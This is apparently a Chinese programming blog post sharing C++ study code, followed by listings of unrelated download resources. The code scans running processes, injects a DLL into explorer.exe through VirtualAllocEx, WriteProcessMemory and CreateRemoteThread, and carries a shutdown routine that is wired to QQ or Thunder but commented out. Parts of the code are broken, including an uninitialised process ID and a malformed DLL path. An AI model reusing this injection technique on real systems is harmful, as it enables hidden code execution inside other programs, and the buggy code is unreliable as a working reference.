`
317422638
  • 浏览: 14387 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

学习2

    博客分类:
  • C++
c++ 
阅读更多
// m1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include"stdio.h"
#include <windows.h>
#include <tlhelp32.h>
#include"tlhelp32.h"

void shutdown()
{
// 以下为提权函数,使其用关机权限,
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
printf("OpenProcessToken调用失败");
}

LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);

//下面为关机函数
if(!ExitWindowsEx(EWX_SHUTDOWN ,0))
{
printf("关机失败");
}
}

int main(int argc, char* argv[])
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf(" CreateToolhelp32Snapshot调用失败!");
return -1;

}

//string lpName = "EXPLORER.EXE" ;    // 设定需要监视的进程名
PROCESSENTRY32 pe;

pe.dwSize = sizeof(pe);


BOOL bMore = ::Process32First(hProcessSnap, &pe32);
while(bMore)
{

printf(" 进程名称:%s \n", pe32.szExeFile);

if(stricmp("EXPLORER.exe",pe32.szExeFile)==0) 
{
//取得宿主进程(EXPLORER.EXE)的句柄

HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pe.th32ProcessID);

//取得目标DLL的当前路径(路径可自由设置)

char szInspectDllPath[128] ;    
GetCurrentDirectory ( 128, szInspectDllPath ) ;      
strcat (szInspectDllPath, "QQLandDlg.dll >\\debug\\InspectQQLandDlg.dll" ) ;

printf(" 地址: %s \n", szInspectDllPath);
//申请存放文件名的空间

LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,  NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;


//把dll文件名写入申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

//获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,"LoadLibraryA" ) ;

//////////////////
//创建远程线程
HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
if( hProcessSnap != NULL ){
CloseHandle ( hProcessSnap ) ;//关闭进程快照
CloseHandle ( hRemoteProcess ) ;
printf(" 来到这里了:  \n");
break ;

}
//////////////////




}


if(stricmp("QQ.exe",pe32.szExeFile)==0)
{
printf("QQ 运行中,准备关机");
// shutdown();
break;
}

if(stricmp("Thunder.exe",pe32.szExeFile)==0)
{
printf("Thunder 运行中,准备关机");
// shutdown();
break;
}


bMore = ::Process32Next(hProcessSnap, &pe32);
}

::CloseHandle(hProcessSnap);
printf("QQ 不在运行");
return 0;
}
分享到:
评论

相关推荐

    LINUX学习学习2LINUX学习学习2

    LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2

    S2,.net,C#,指导学习2

    S2,.net,C#,指导学习2 S2,.net,C#,指导学习2 S2,.net,C#,指导学习2 S2,.net,C#,指导学习2 S2,.net,C#,指导学习2S2,.net,C#,指导学习2S2,.net,C#,指导学习2S2,.net,C#,指导学习2S2,.net,C#,指导学习2

    贝叶斯网络学习算法――k2算法

    在数据挖掘和机器学习领域,贝叶斯网络被广泛应用于分类预测、诊断系统、决策支持等领域。K2算法是其中一种用于学习贝叶斯网络结构的算法,尤其适用于小到中等规模的数据集。 K2算法,全称为Cowell-Koller-...

    DB2学习中文教程从入门到精通

    DB2学习中文教程旨在帮助读者从基础的数据库概念开始,逐步学习DB2数据库的安装、配置、操作和管理,最终达到精通的程度。 DB2 9.7是DB2数据库的一个版本,该版本支持的平台包括Linux、UNIX和Windows等。DB2 9.7...

    linux 基础学习2

    linux 基础学习,包含linux环境的学习,linux命令的学习。

    Reinforcement Learning 2nd(Richard_S._Sutton).pdf

    《强化学习(第2版)》英文版,作为强化学习思想的深度解剖之作,被业内公认为是一本强化学习基础理论的经典著作。它从强化学习的基本思想出发,深入浅出又严谨细致地介绍了马尔可夫决策过程、蒙特卡洛方法、时序差...

    深度学习word2vec学习笔记

    在大量赞叹 word2vec 的微博或者短文中,几乎都认为它是深度学习在自然 语言领域的一项了不起的应用,各种欢呼“深度学习在自然语言领域开始发力了”。 互联网界很多公司也开始跟进,使用 word2vec 产出了不少成果...

    1、强化学习入门1

    1. 机器学习与强化学习 2. 强化学习中的几个基本概念 3. 强化学习要素 4. 强化学习算法分类 5.强化学习中的几个基本问题

    struts2经典学习资料大全2(3-2)

    struts2经典学习资料大全2,很好很经典(3-2)

    2,STM32 USB 学习资料.zip

    2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip...

    db2学习资料

    这篇学习资料集合了DB2的基础教程、自学资料以及重点解析课件,旨在为初学者提供一个全面且深入的学习路径。 首先,从"DB2基础教程"出发,我们可以了解到DB2的基本概念。这通常包括数据库的基本原理,如数据模型...

    爱学习广东学习网专用浏览器

    2、 进入学习中心后,打开没有学习的课程,可以一键学习完,不包含考试,不必天天挂网 3、 根据你的网速你所有的课程能在10分钟内学完,神吧,试试吧 4、 本浏览器用.Net 2.0开发,需要2.0的运行时

    百度飞桨学习python机器学习、深度学习资料

    【机器学习】Word2Vec实现:实践-基于CBOW和Skip-gram实现Word2Vec 【机器学习】飞桨高层API的实践 【计算机视觉】1.实践:飞浆与python入门操作 【计算机视觉】2.实践:python复杂操作 【计算机视觉】3.理论:...

    机器学习课程课件

    机器学习是计算机科学的一个分支,它致力于通过让计算机系统学习数据中的模式来改善其性能,而无需显式编程。这门课程的课件是大牛根据8年的实战经验精心总结的,涵盖了理论与实践的结合,旨在帮助学习者深入理解和...

    Processing编程学习指南(第2版)

    Processing编程学习指南(第2版) Processing编程学习指南(第2版)

    强化学习理论部分.pdf

    2. 免模型算法进一步划分为基于价值(Value-Based)和基于策略(Policy-Based)两大类。基于价值的算法专注于寻找最优的价值函数,以此来指导动作的选择;而基于策略的算法则是直接学习最优策略函数,即直接对动作的...

    Halcon深度学习-从零开始学习,学习笔记(都是细节)-分类完整版.rar

    2. 创建模型:选择合适的网络架构,如卷积神经网络(CNN),并在Halcon环境中设置模型参数。 3. 训练模型:使用训练数据对模型进行迭代优化,调整权重以最小化预测误差。 4. 验证与调整:在验证数据集上测试模型性能...

    再励学习面试真题

    2. 强化学习如何解决问题 强化学习可以解决序列决策问题,例如推荐系统、游戏 AI、机器人控制等领域。强化学习可以通过马尔科夫决策过程来解决问题,马尔科夫决策过程是强化学习的核心概念。 3. 强化学习的损失...

    struts2学习测试代码,struts2学习测试代码2

    struts2学习测试代码,struts2学习测试代码2struts2学习测试代码,struts2学习测试代码

    超星学习通学习专用浏览器

    超星学习通学习专用浏览器

Global site tag (gtag.js) - Google Analytics